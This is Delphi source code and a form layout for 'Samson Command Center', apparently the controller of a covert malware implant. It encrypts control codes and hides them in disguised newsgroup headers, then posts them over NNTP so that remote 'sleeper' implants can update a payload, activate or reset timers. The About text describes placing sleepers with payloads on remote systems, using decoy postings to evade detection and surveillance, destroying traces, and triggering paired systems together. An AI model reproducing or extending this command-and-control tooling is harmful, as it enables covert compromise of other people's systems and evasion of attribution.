  Buffer: TParams;
  Hash: TDCP_sha1;
  HashDigest,
  OldHashDigest: array[0..31] of byte;
  OldEncrypt,Encrypt: TDCP_blockcipher;
  Read: integer;
  nvs:string;
  //this function gets round a typecast failure
  function raw(i:integer):integer;
   begin
    result:=buffer.raw[i];
   end;
begin
 nvs:=message.ExtraHeaders.namevalueseparator;
 message.Clear;
 message.Subject:=SubjectEdit.Text;
 message.Body.Assign(cloakingMessage.Lines);
 message.From.DisplayName:=nameEdit.Text;
 message.From.Address:=ReplyEdit.Text;
 CloakSize:=length(message.Body.Text);

 // crypto procedure
  FillChar(Buffer,Sizeof(Buffer),$00);
  FillChar(HashDigest,Sizeof(HashDigest),$FF);   // fill the digest with $FF as the actual digest may not fill the entire digest
  FillChar(OldHashDigest,Sizeof(OldHashDigest),$FF);   // fill the digest with $FF as the actual digest may not fill the entire 
digest
  Hash:= TDCP_sha1.Create(Self);
  // hash the new passphrase
  Hash.Init;
  Hash.UpdateStr(Newkey.Text);           // hash the passphrase to get the key
  Hash.Final(HashDigest);
  // hash the old passphrase
  Hash.Init;
  Hash.UpdateStr(Oldkey.Text);           // hash the passphrase to get the key
  Hash.Final(OldHashDigest);
  Hash.Free;
  data:='';
  OldEncrypt:= TDCP_blockcipher(OldCAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]);  // get the component from 
the combo box
  OldEncrypt.Init(OldHashDigest,Sizeof(OldHashDigest)*8,nil);     // initialize the cipher with the digest, IV= nil to generate one 
automatically 
(note: size in bits ie. sizeof(x)*8)
  OldEncrypt.EncryptCBC(OldHashDigest,OldHashDigest,Sizeof(HashDigest));  // encrypt the hash and write it to the file to 
use as passphrase
  OldEncrypt.Reset;
  for l:=0 to sizeof(oldhashDigest)-1 do
  data:=Data+intToHex(OldHashDigest[l],2);                                                 // confirmation
  //encrypt the new password;
  Text:=Newkey.Text;
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  data:=Data+intToHex(Buffer.raw[l],2);                                                 // confirmation
  //encrypt the new Algorithim;
  Text:=CAlgorithmCBx.Text;
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  data:=Data+intToHex(Buffer.raw[l],2);                                                 // confirmation
  //encrypt the new Hash Algo;
  Text:=HAlgorithmCBx.Text;
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  data:=Data+intToHex(Buffer.raw[l],2);                                                 // confirmation
  // add the whole lot to the x-samson header
  // first cloak the header so echelon cant find it easy
  text:='samson';
  Header:='X-';
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  Header:=Header+intToHex(Buffer.raw[l],2);                                                 // confirmation
//  message.Headers.Add(header+'='+data);
  message.ExtraHeaders.Add(header+nvs+data);
  OldEncrypt.Reset;
  // now we move to the new algorithm
  Encrypt:= TDCP_blockcipher(CAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]);  // get the component from the 
combo box
  Encrypt.Init(HashDigest,Sizeof(HashDigest)*8,nil);     // initialize the cipher with the digest, IV= nil to generate one 
automatically (note: size in 
bits ie. sizeof(x)*8)
  Header:='X-';
  Text:='params';
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  Header:=Header+intToHex(Buffer.raw[l],2);                                                 // confirmation
// do the params
 Buffer.primary:=primarydelay.value;
 Buffer.pVar:=primaryVariance.value;
 Buffer.window:=WindowPeriod.Value;
 Buffer.winVar:=WindowVariance.Value;
 Buffer.polling:=PollingPeriod.Value;
 Buffer.pollVar:=PollingVariance.Value;
 Buffer.newsgroups:=NGProcessCount.Value;
 Buffer.postings:=PostingsProcessCount.Value;
 Buffer.priming:=PrimingPeriod.Value;
 Buffer.primeVar:=PrimingVariance.Value;
 Buffer.trigger:=TriggerPeriod.Value;
 Buffer.triggerVar:=TriggerVariance.Value;
 Buffer.throttle:=Throttle.Value;
 Buffer.throttleVar:=ThrottleVariance.Value;
 Buffer.icqPoll:=icqpollingPeriod.Value;
 Buffer.icqPollVar:=icqpollingVariance.Value;
 Buffer.icqWindow:=IcqWindowPeriod.Value;
 Buffer.icqWindowVar:=IcqWindowVariance.Value;

 encrypt.EncryptCBC(buffer,buffer,20*sizeof(integer));
 data:='';
  for l:=0 to (20*sizeof(integer))-1 do
  Data:=Data+intToHex(raw(l),2);                                                 // confirmation
 message.ExtraHeaders.Add(Header+nvs+data);
// encrypt the payload
// add the payload at the end of the cloaking message as hex strings
  L:=0;
  while ServerList.Count>L do
  try
    Application.ProcessMessages;
    if Application.Terminated then Exit;
    Message.NewsGroups.Clear;
    Message.NewsGroups.Add(ServerList.ValueFromIndex[L]);
    nntp.Post(Message);
    Log.Lines.Add(ServerList.ValueFromIndex[L]);
    Inc(L);
  except
    Log.Lines.Add('Failed: '+ServerList.ValueFromIndex[L]);
    ServerList.Delete(L);
  end;
end;

procedure TMainForm.CloakedClick(Sender: TObject);
var header,data,text:string; l,q:integer;
var
  Source, Dest: file;
  Buffer: TParams;
  Hash: TDCP_sha1;
  HashDigest,
  OldHashDigest: array[0..31] of byte;
  OldEncrypt,Encrypt: TDCP_blockcipher;
  Read: integer;
  nvs:string;
  //this function gets round a typecast failure
  function raw(i:integer):integer;
   begin
    result:=buffer.raw[i];
   end;
begin
 nvs:=message.ExtraHeaders.namevalueseparator;
 message.Clear;
 message.Subject:=SubjectEdit.Text;
 message.Body.Assign(cloakingMessage.Lines);
 message.From.DisplayName:=nameEdit.Text;
 message.From.Address:=ReplyEdit.Text;
 CloakSize:=length(message.Body.Text);

 // crypto procedure
  FillChar(Buffer,Sizeof(Buffer),$00);
  FillChar(HashDigest,Sizeof(HashDigest),$FF);   // fill the digest with $FF as the actual digest may not fill the entire digest
  FillChar(OldHashDigest,Sizeof(OldHashDigest),$FF);   // fill the digest with $FF as the actual digest may not fill the entire 
digest
  Hash:= TDCP_sha1.Create(Self);
  // hash the new passphrase
  Hash.Init;
  Hash.UpdateStr(Newkey.Text);           // hash the passphrase to get the key
  Hash.Final(HashDigest);
  // hash the old passphrase
  Hash.Init;
  Hash.UpdateStr(Oldkey.Text);           // hash the passphrase to get the key
  Hash.Final(OldHashDigest);
  Hash.Free;
  data:='';
  OldEncrypt:= TDCP_blockcipher(OldCAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]);  // get the component from 
the combo box
  OldEncrypt.Init(OldHashDigest,Sizeof(OldHashDigest)*8,nil);     // initialize the cipher with the digest, IV= nil to generate one 
automatically 
(note: size in bits ie. sizeof(x)*8)
  OldEncrypt.EncryptCBC(OldHashDigest,OldHashDigest,Sizeof(HashDigest));  // encrypt the hash and write it to the file to 
use as passphrase
  OldEncrypt.Reset;
  for l:=0 to sizeof(oldhashDigest)-1 do
  data:=Data+intToHex(OldHashDigest[l],2);                                                 // confirmation
  //encrypt the new password;
  Text:=Newkey.Text;
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  data:=Data+intToHex(Buffer.raw[l],2);                                                 // confirmation
  //encrypt the new Algorithim;
  Text:=CAlgorithmCBx.Text;
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  data:=Data+intToHex(Buffer.raw[l],2);                                                 // confirmation
  //encrypt the new Hash Algo;
  Text:=HAlgorithmCBx.Text;
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  data:=Data+intToHex(Buffer.raw[l],2);                                                 // confirmation
  // add the whole lot to the x-samson header
  // first cloak the header so echelon cant find it easy
  text:='samson';
  Header:='X-';
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  Header:=Header+intToHex(Buffer.raw[l],2);                                                 // confirmation
//  message.Headers.Add(header+'='+data);
  message.ExtraHeaders.Add(header+nvs+data);
  OldEncrypt.Reset;
  // now we move to the new algorithm
  Encrypt:= TDCP_blockcipher(CAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]);  // get the component from the 
combo box
  Encrypt.Init(HashDigest,Sizeof(HashDigest)*8,nil);     // initialize the cipher with the digest, IV= nil to generate one 
automatically (note: size in 
bits ie. sizeof(x)*8)
  Header:='X-';
  Text:='params';
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  Header:=Header+intToHex(Buffer.raw[l],2);                                                 // confirmation
// do the params
 Buffer.primary:=primarydelay.value;
 Buffer.pVar:=primaryVariance.value;
 Buffer.window:=WindowPeriod.Value;
 Buffer.winVar:=WindowVariance.Value;
 Buffer.polling:=PollingPeriod.Value;
 Buffer.pollVar:=PollingVariance.Value;
 Buffer.newsgroups:=NGProcessCount.Value;
 Buffer.postings:=PostingsProcessCount.Value;
 Buffer.priming:=PrimingPeriod.Value;
 Buffer.primeVar:=PrimingVariance.Value;
 Buffer.trigger:=TriggerPeriod.Value;
 Buffer.triggerVar:=TriggerVariance.Value;
 Buffer.throttle:=Throttle.Value;
 Buffer.throttleVar:=ThrottleVariance.Value;
 Buffer.icqPoll:=icqpollingPeriod.Value;
 Buffer.icqPollVar:=icqpollingVariance.Value;
 Buffer.icqWindow:=IcqWindowPeriod.Value;
 Buffer.icqWindowVar:=IcqWindowVariance.Value;

 encrypt.EncryptCBC(buffer,buffer,20*sizeof(integer));
 data:='';
  for l:=0 to (20*sizeof(integer))-1 do
  Data:=Data+intToHex(raw(l),2);                                                 // confirmation
 message.ExtraHeaders.Add(Header+nvs+data);
// encrypt the payload
// add the payload at the end of the cloaking message as hex strings
 for l:=0 to scce.Strings.Count-1 do
  begin
  try
   SCCV.Strings.CommaText:= SCCE.Strings.ValueFromIndex[l];
   NNTP.Host:=SCCV.Values['HOST'];
   for Q:=0 to SCCV.Strings.Count-1 do
    begin
     try
     if SCCV.Strings.Names[q]='newsgroup' then
      begin
       Message.NewsGroups.Clear;
       Message.NewsGroups.Add(SCCV.Strings.ValueFromIndex[Q]);
       nntp.Post(Message);
      end;
     except
     // just keep it quiet
     end;
    end;
  except
   // nevermind the verbose fail silently
  end;
end;
end;

procedure TMainForm.LogDblClick(Sender: TObject);
begin
 Log.Clear;
end;

end.


object MainForm: TMainForm
  Left = 194
  Top = 96
  Width = 703
  Height = 444
  Caption = 'Samson Command Center Version 3 for Windows NT'
  Color = clBtnFace
  TransparentColor = True
  TransparentColorValue = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  OnActivate = FormActivate
  OnCreate = FormCreate
  PixelsPerInch = 96
  TextHeight = 13
  object PageControl1: TPageControl
    Left = 0
    Top = 24
    Width = 695
    Height = 374
    ActivePage = TabConfig
    Align = alClient
    TabOrder = 0
    object TabMain: TTabSheet
      Caption = 'Samson List'
      object ToolBar4: TToolBar
        Left = 0
        Top = 0
        Width = 651
        Height = 24
        ButtonHeight = 21
        ButtonWidth = 38
        Caption = 'ToolBar1'
        Flat = True
        ShowCaptions = True
        TabOrder = 0
        object ToolButton13: TToolButton
          Left = 0
          Top = 0
          Caption = 'New'
          ImageIndex = 0
          OnClick = ToolButton13Click
        end
        object ToolButton14: TToolButton
          Left = 38
          Top = 0
          Caption = 'Delete'
          OnClick = deleteSamsonClick
        end
      end
      object SLE: TValueListEditor
        Left = 0
        Top = 24
        Width = 185
        Height = 323
        Align = alLeft
        DefaultColWidth = 180
        Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goRowSelect, 
goThumbTracking]
        Strings.Strings = (
          '=')
        TabOrder = 1
        TitleCaptions.Strings = (
          'Samson Unit/Pair'
          'Value')
        OnSelectCell = SLESelectCell
        ColWidths = (
          180
          -1)
      end
      object SLV: TValueListEditor
        Left = 185
        Top = 24
        Width = 466
        Height = 323
        Align = alClient
        DefaultColWidth = 115
        FixedCols = 1
        Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goThumbTracking]
        TabOrder = 2
        OnStringsChange = SLVStringsChange
        ColWidths = (
          115
          345)
        RowHeights = (
          18
          18)
      end
    end
    object TabServersSCC: TTabSheet
      Caption = 'Servers (SCC)'
      ImageIndex = 5
      object SCCE: TValueListEditor
        Left = 0
        Top = 24
        Width = 185
        Height = 323
        Align = alLeft
        DefaultColWidth = 180
        Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goRowSelect, 
goThumbTracking]
        Strings.Strings = (
          '=')
        TabOrder = 0
        TitleCaptions.Strings = (
          'News Server'
          'Value')
        OnSelectCell = SCCESelectCell
        ColWidths = (
          180
          -1)
      end
      object SCCV: TValueListEditor
        Left = 185
        Top = 24
        Width = 466
        Height = 323
        Align = alClient
        DefaultColWidth = 115
        FixedCols = 1
        Options = [goFixedVertLine, goFixedHorzLine, goVertLine, goHorzLine, goColSizing, goEditing, goThumbTracking]
        TabOrder = 1
        OnStringsChange = SCCVStringsChange
        ColWidths = (
          115
          345)
      end
      object ToolBar6: TToolBar
        Left = 0
        Top = 0
        Width = 651
        Height = 24
        ButtonHeight = 21
        ButtonWidth = 57
        Caption = 'ToolBar1'
        Flat = True
        ShowCaptions = True
        TabOrder = 2
        object ToolButton20: TToolButton
          Left = 0
          Top = 0
          Caption = 'New'
          ImageIndex = 0
          OnClick = SCCNewsServers
        end
        object ToolButton21: TToolButton
          Left = 57
          Top = 0
          Caption = 'Delete'
          OnClick = SCCDeleteClick
        end
        object ToolButton15: TToolButton
          Left = 114
          Top = 0
          Caption = 'New NG'
          ImageIndex = 0
          OnClick = ToolButton15Click
        end
        object ToolButton16: TToolButton
          Left = 171
          Top = 0
          Caption = 'Delete NG'
          ImageIndex = 1
          OnClick = ToolButton16Click
        end
      end
    end
    object TabPaload: TTabSheet
      Caption = 'Payload'
      ImageIndex = 3
      object ToolBar3: TToolBar
        Left = 0
        Top = 0
        Width = 687
        Height = 24
        ButtonHeight = 21
        ButtonWidth = 45
        Caption = 'ToolBar1'
        Flat = True
        ShowCaptions = True
        TabOrder = 0
        object ToolButton9: TToolButton
          Left = 0
          Top = 0
          Caption = 'New'
          ImageIndex = 0
          OnClick = NewPayload
        end
        object ToolButton10: TToolButton
          Left = 45
          Top = 0
          Caption = 'Delete'
          OnClick = ToolButton10Click
        end
        object ToolButton12: TToolButton
          Left = 90
          Top = 0
          Caption = 'Clear All'
          ImageIndex = 0
          OnClick = ToolButton12Click
        end
      end
      object PayloadList: TListBox
        Left = 0
        Top = 24
        Width = 687
        Height = 322
        Align = alClient
        ItemHeight = 13
        TabOrder = 1
      end
    end
    object TabConfig: TTabSheet
      Caption = 'Configuration'
      ImageIndex = 2
      object Panel1: TPanel
        Left = 0
        Top = 0
        Width = 687
        Height = 346
        Align = alClient
        BevelInner = bvRaised
        BevelOuter = bvLowered
        TabOrder = 0
        object Label1: TLabel
          Left = 8
          Top = 6
          Width = 165
          Height = 16
          Caption = 'Newsflash configuration'
          Font.Charset = DEFAULT_CHARSET
          Font.Color = clWindowText
          Font.Height = -13
          Font.Name = 'MS Sans Serif'
          Font.Style = [fsBold]
          ParentFont = False
        end
        object Label2: TLabel
          Left = 222
          Top = 6
          Width = 119
          Height = 16
          Caption = 'ICQ configuration'
          Font.Charset = DEFAULT_CHARSET
          Font.Color = clWindowText
          Font.Height = -13
          Font.Name = 'MS Sans Serif'
          Font.Style = [fsBold]
          ParentFont = False
        end
        object PrimaryVariance: TLabelSpinEdit
          Left = 135
          Top = 39
          Width = 93
          Height = 22
          Color = clWhite
          MaxValue = 0
          MinValue = 0
          TabOrder = 5
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 73
          EditLabel.Height = 13
          EditLabel.Caption = 'Variance (days)'
        end
        object WindowVariance: TLabelSpinEdit
          Left = 135
          Top = 77
          Width = 93
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 6
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 73
          EditLabel.Height = 13
          EditLabel.Caption = 'Variance (days)'
        end
        object PostingsProcessCount: TLabelSpinEdit
          Left = 135
          Top = 153
          Width = 93
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 7
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 92
          EditLabel.Height = 13
          EditLabel.Caption = 'Postings to process'
        end
        object PrimingVariance: TLabelSpinEdit
          Left = 135
          Top = 191
          Width = 93
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 8
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 77
          EditLabel.Height = 13
          EditLabel.Caption = 'Variance (hours)'
        end
        object TriggerVariance: TLabelSpinEdit
          Left = 135
          Top = 229
          Width = 93
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 9
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 73
          EditLabel.Height = 13
          EditLabel.Caption = 'Variance (days)'
        end
        object PrimaryDelay: TLabelSpinEdit
          Left = 16
          Top = 39
          Width = 116
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 0
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 95
          EditLabel.Height = 13
          EditLabel.Caption = 'Primary Delay (days)'
        end
        object WindowPeriod: TLabelSpinEdit
          Left = 16
          Top = 77
          Width = 116
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 1
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 72
          EditLabel.Height = 13
          EditLabel.Caption = 'Window Period'
        end
        object NGProcessCount: TLabelSpinEdit
          Left = 16
          Top = 153
          Width = 116
          Height = 22
          Hint = 'leave at -1 to process all found on the server'
          MaxValue = 0
          MinValue = -1
          TabOrder = 2
          Value = -1
          OnChange = ValueChange
          EditLabel.Width = 111
          EditLabel.Height = 13
          EditLabel.Caption = 'Newsgroups to process'
        end
        object PrimingPeriod: TLabelSpinEdit
          Left = 16
          Top = 191
          Width = 116
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 3
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 102
          EditLabel.Height = 13
          EditLabel.Caption = 'Priming Period (hours)'
        end
        object TriggerPeriod: TLabelSpinEdit
          Left = 16
          Top = 229
          Width = 116
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 4
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 97
          EditLabel.Height = 13
          EditLabel.Caption = 'Trigger Period (days)'
        end
        object Throttle: TLabelSpinEdit
          Left = 16
          Top = 267
          Width = 116
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 10
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 110
          EditLabel.Height = 13
          EditLabel.Caption = 'Throttle (bytes/second)'
        end
        object ThrottleVariance: TLabelSpinEdit
          Left = 135
          Top = 267
          Width = 93
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 11
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 42
          EditLabel.Height = 13
          EditLabel.Caption = 'Variance'
        end
        object PollingPeriod: TLabelSpinEdit
          Left = 16
          Top = 115
          Width = 116
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 12
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 64
          EditLabel.Height = 13
          EditLabel.Caption = 'Polling Period'
        end
        object PollingVariance: TLabelSpinEdit
          Left = 135
          Top = 115
          Width = 93
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 13
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 73
          EditLabel.Height = 13
          EditLabel.Caption = 'Variance (days)'
        end
        object IcqWindowVariance: TLabelSpinEdit
          Left = 353
          Top = 77
          Width = 93
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 14
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 77
          EditLabel.Height = 13
          EditLabel.Caption = 'Variance (hours)'
        end
        object IcqWindowPeriod: TLabelSpinEdit
          Left = 234
          Top = 77
          Width = 116
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 15
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 72
          EditLabel.Height = 13
          EditLabel.Caption = 'Window Period'
        end
        object IcqPollingPeriod: TLabelSpinEdit
          Left = 234
          Top = 39
          Width = 116
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 16
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 64
          EditLabel.Height = 13
          EditLabel.Caption = 'Polling Period'
        end
        object IcqPollingVariance: TLabelSpinEdit
          Left = 353
          Top = 39
          Width = 93
          Height = 22
          MaxValue = 0
          MinValue = 0
          TabOrder = 17
          Value = 0
          OnChange = ValueChange
          EditLabel.Width = 77
          EditLabel.Height = 13
          EditLabel.Caption = 'Variance (hours)'
        end
        object NewsHost: TLabeledEdit
          Left = 458
          Top = 40
          Width = 209
          Height = 21
          EditLabel.Width = 49
          EditLabel.Height = 13
          EditLabel.Caption = 'NewsHost'
          TabOrder = 18
          Text = '127.0.0.1'
          OnChange = NewsHostChange
        end
        object StaticText1: TStaticText
          Left = 446
          Top = 5
          Width = 129
          Height = 20
          Caption = 'SCC Configuration'
          Font.Charset = DEFAULT_CHARSET
          Font.Color = clWindowText
          Font.Height = -13
          Font.Name = 'MS Sans Serif'
          Font.Style = [fsBold]
          ParentFont = False
          TabOrder = 19
        end
        object PortID: TLabelSpinEdit
          Left = 458
          Top = 116
          Width = 121
          Height = 22
          MaxValue = 65535
          MinValue = 0
          TabOrder = 20
          Value = 119
          OnChange = PortIDChange
          EditLabel.Width = 19
          EditLabel.Height = 13
          EditLabel.Caption = 'Port'
        end
        object LabeledEdit2: TLabeledEdit
          Left = 234
          Top = 115
          Width = 217
          Height = 21
          EditLabel.Width = 40
          EditLabel.Height = 13
          EditLabel.Caption = 'ICQ UID'
          TabOrder = 21
        end
        object LabeledEdit3: TLabeledEdit
          Left = 234
          Top = 154
          Width = 217
          Height = 21
          EditLabel.Width = 67
          EditLabel.Height = 13
          EditLabel.Caption = 'ICQ Password'
          TabOrder = 22
        end
        object XReader: TLabeledEdit
          Left = 458
          Top = 78
          Width = 209
          Height = 21
          EditLabel.Width = 45
          EditLabel.Height = 13
          EditLabel.Caption = 'X-Reader'
          TabOrder = 23
          Text = 'Newsflash'
          OnChange = XReaderChange
        end
        object UserName: TLabeledEdit
          Left = 458
          Top = 155
          Width = 217
          Height = 21
          EditLabel.Width = 53
          EditLabel.Height = 13
          EditLabel.Caption = 'User Name'
          TabOrder = 24
        end
        object PasswordEdit: TLabeledEdit
          Left = 458
          Top = 194
          Width = 217
          Height = 21
          EditLabel.Width = 46
          EditLabel.Height = 13
          EditLabel.Caption = 'Password'
          TabOrder = 25
        end
      end
    end
    object TabCrypto: TTabSheet
      Caption = 'Cypher'
      ImageIndex = 6
      object LCKey: TLabel
        Left = 4
        Top = 28
        Width = 37
        Height = 13
        Caption = 'Old Key'
      end
      object LHashKey: TLabel
        Left = 4
        Top = 124
        Width = 70
        Height = 13
        Caption = 'Converted Key'
      end
      object LCipher: TLabel
        Left = 4
        Top = 3
        Width = 115
        Height = 16
        Caption = 'Cipher Algorithm'
        Font.Charset = DEFAULT_CHARSET
        Font.Color = clWindowText
        Font.Height = -13
        Font.Name = 'MS Sans Serif'
        Font.Style = [fsBold]
        ParentFont = False
      end
      object Bevel2: TBevel
        Left = 122
        Top = 9
        Width = 416
        Height = 7
        Shape = bsTopLine
      end
      object Label3: TLabel
        Left = 4
        Top = 76
        Width = 71
        Height = 13
        Caption = 'Encryption Key'
      end
      object Label4: TLabel
        Left = 4
        Top = 100
        Width = 47
        Height = 13
        Caption = 'Verify Key'
      end
      object CAlgorithmLbl: TLabel
        Left = 16
        Top = 160
        Width = 76
        Height = 13
        Caption = 'Crypto Algorithm'
      end
      object HAlgorithmLbl: TLabel
        Left = 256
        Top = 160
        Width = 71
        Height = 13
        Caption = 'Hash Algorithm'
      end
      object Label5: TLabel
        Left = 256
        Top = 208
        Width = 90
        Height = 13
        Caption = 'Old Hash Algorithm'
      end
      object Label6: TLabel
        Left = 16
        Top = 208
        Width = 95
        Height = 13
        Caption = 'Old Crypto Algorithm'
      end
      object Label7: TLabel
        Left = 4
        Top = 52
        Width = 37
        Height = 13
        Caption = 'Old Key'
      end
      object EHashKey: TEdit
        Left = 83
        Top = 120
        Width = 457
        Height = 21
        Color = clBtnHighlight
        ReadOnly = True
        TabOrder = 0
      end
      object Oldkey: TEdit
        Left = 83
        Top = 23
        Width = 457
        Height = 21
        Color = clWhite
        TabOrder = 1
        Text = 'this is the crypt key for the encoding of the data'
        OnChange = OldkeyVerifyChange
      end
      object Progress: TProgressBar
        Left = 84
        Top = 143
        Width = 458
        Height = 8
        Step = 1
        TabOrder = 2
      end
      object Newkey: TEdit
        Left = 83
        Top = 71
        Width = 457
        Height = 21
        Color = clWhite
        TabOrder = 3
        Text = 'this is the crypt key for the encoding of the data'
        OnChange = VerifykeyChange
      end
      object Verifykey: TEdit
        Left = 83
        Top = 95
        Width = 457
        Height = 21
        TabOrder = 4
        Text = 'this is the crypt key for the encoding of the data'
        OnChange = VerifykeyChange
      end
      object CAlgorithmCBx: TComboBox
        Left = 16
        Top = 176
        Width = 225
        Height = 21
        Style = csDropDownList
        ItemHeight = 13
        Sorted = True
        TabOrder = 5
      end
      object HAlgorithmCBx: TComboBox
        Left = 256
        Top = 176
        Width = 225
        Height = 21
        Style = csDropDownList
        ItemHeight = 13
        TabOrder = 6
      end
      object OldCAlgorithmCBx: TComboBox
        Left = 16
        Top = 224
        Width = 225
        Height = 21
        Style = csDropDownList
        ItemHeight = 13
        Sorted = True
        TabOrder = 7
      end
      object OldHAlgorithmCBx: TComboBox
        Left = 256
        Top = 224
        Width = 225
        Height = 21
        Style = csDropDownList
        ItemHeight = 13
        TabOrder = 8
      end
      object OldkeyVerify: TEdit
        Left = 83
        Top = 47
        Width = 457
        Height = 21
        TabOrder = 9
        Text = 'this is the crypt key for the encoding of the data'
        OnChange = OldkeyVerifyChange
      end
    end
    object TabCloaking: TTabSheet
      Caption = 'Cloaking Message'
      ImageIndex = 7
      object CloakingMessage: TMemo
        Left = 0
        Top = 82
        Width = 687
        Height = 264
        Align = alClient
        TabOrder = 0
      end
      object GroupBox1: TGroupBox
        Left = 0
        Top = 41
        Width = 687
        Height = 41
        Align = alTop
        Caption = 'From'
        TabOrder = 1
        object NameEdit: TEdit
          Left = 8
          Top = 14
          Width = 231
          Height = 21
          TabOrder = 0
        end
        object ReplyEdit: TEdit
          Left = 241
          Top = 14
          Width = 294
          Height = 21
          TabOrder = 1
        end
      end
      object GroupBox2: TGroupBox
        Left = 0
        Top = 0
        Width = 687
        Height = 41
        Align = alTop
        Caption = 'Subject'
        TabOrder = 2
        object subjectedit: TEdit
          Left = 8
          Top = 14
          Width = 529
          Height = 21
          TabOrder = 0
        end
      end
    end
    object TabAbout: TTabSheet
      Caption = 'About'
      ImageIndex = 4
      object AboutMemo: TMemo
        Left = 0
        Top = 0
        Width = 687
        Height = 346
        Align = alClient
        Lines.Strings = (
          'source code available at http://'
          ''
          'Released into the public domain'
          'Terms and conditions'
          '1:use at your own risk'
          '2:no warranty of any kind, NONE, NADA, ZERO,get the picture!'
          
            '3:Ya want more features, compile it yourself, there is no suppor' +
            't group'
          '4:if you improve it, release it,I would like a copy!'
          
            '5:do not use for illegal purposes, take a tip, it may not be ill' +
            'egal in another country, Travel!'
          
            '6:please do use to expose corrupt cops, judges, government offic' +
            'ials, etc.'
          
            '  useful inventions, enough information to allow your creation t' +
            'o be built (Details)'
          '  '
          'there is also SAMSON by the same author'
          'SAMSON is designed as a fully cloaked sleeper service'
          
            'SAMSON sleeper is placed on remote systems along with it'#39's paylo' +
            'ad'
          'SAMSON control resides on a desktop or website'
          
            'control codes are issued by the controller periodically, these a' +
            're picked up through public'
          
            'communication media, newsgroups, icq or others as per specific i' +
            'mplementation & configuration'
          
            'if valid codes are received SAMSON can respond by updating the p' +
            'ayload, going active '
          'or resetting its sleep counters'
          'SAMSON does not issue verification codes ever!'
          
            'once SAMSON is deployed on a system, rip up and destroy all trac' +
            'e information, do not use your home '
          'system to deploy'
          'then even the deployer cannot trace it'
          
            'but if someone interfers with the deployer it dont get reset and' +
            ' the timers expire'
          'SAMSON primes with a list of newsgroups'
          
            'SAMSON gets a list of postings and extracts sender names & subje' +
            'cts'
          
            'these names and subjects are cross-mixed and used for multiple p' +
            'ostings to each newsgroup'
          
            'this method ensures that these postings appear to be legimate in' +
            '-context postings'
          'the payload is of course whats in the body and whats important'
          
            'the author has written a number of implementations of SAMSON sle' +
            'eper for various target systems'
          
            'it is described here as some bright spark will write their own i' +
            'mplementation and'
          
            'the anti-virus writers will have a new toy to chase, the compute' +
            'r press will have a new subject to write '
          'about'
          
            'the nice thing about using embedded control codes in newsgroup p' +
            'ostings is that all usenet clients '
          
            'when browsing a newsgroup download the subject & header informat' +
            'ion, thats where the control codes '
          'are'
          
            'echelon, that big brother system then has a job deciding was it ' +
            'a legitimate user or SAMSON that read the '
          'headers'
          
            'just for good measure all timers within SAMSON use random offset' +
            ' so if you reset for 180 days it will vary '
          'by + or - a few '
          'days'
          'this applies to all timed functions within SAMSON'
          'deployment can be singular or paired'
          
            'pairing ensures the payload cannot be read on system A if it is ' +
            'found as the crypto code is on system B so '
          'they must '
          'match the pair'
          
            'joined triggering is another nice feature, trigger system A & it' +
            ' will issue trigger codes for all others in the '
